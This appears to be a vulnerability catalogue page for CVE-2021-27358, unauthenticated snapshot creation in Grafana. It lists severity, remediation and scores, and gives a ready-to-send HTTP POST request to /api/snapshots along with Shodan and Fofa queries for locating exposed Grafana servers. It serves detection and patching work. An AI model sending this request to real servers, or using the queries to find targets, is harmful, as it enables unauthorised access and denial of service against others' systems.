🔙 목록으로 돌아가기

CVE-2021-27358: Grafana Unauthenticated Snapshot Creation

TitleGrafana Unauthenticated Snapshot Creation
Authorpdteam,bing0o
SeverityHigh
ImpactAn attacker can create snapshots of sensitive data without authentication, potentially leading to unauthorized access and data exposure.
RemediationUpgrade to the latest version of Grafana that includes a fix for CVE-2021-27358 or apply the provided patch to mitigate the vulnerability.
CVSS Score7.5
EPSS Score0.87049
CVE IDCVE-2021-27358
CWE IDCWE-306
Shodan Querytitle:"Grafana"cpe:"cpe:2.3:a:grafana:grafana"http.title:"grafana"
Fofa Querytitle="grafana"app="grafana"
Tags cve2021 cve grafana unauth vuln

🔍 Vulnerability Description

Grafana 6.7.3 through 7.4.1 snapshot functionality can allow an unauthenticated remote attacker to trigger a Denial of Service via a remote API call if a commonly used configuration is set.

🌐 HTTP Request

POST /api/snapshots HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Content-Length: 235
Content-Type: application/json
Accept-Encoding: gzip

{"dashboard": {"editable":false,"hideControls":true,"nav":[{"enable":false,"type":"timepicker"}],"rows": [{}],"style":"dark","tags":[],"templating":{"list":[]},"time":{},"timezone":"browser","title":"Home","version":5},"expires": 3600}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-27358.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-27358.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A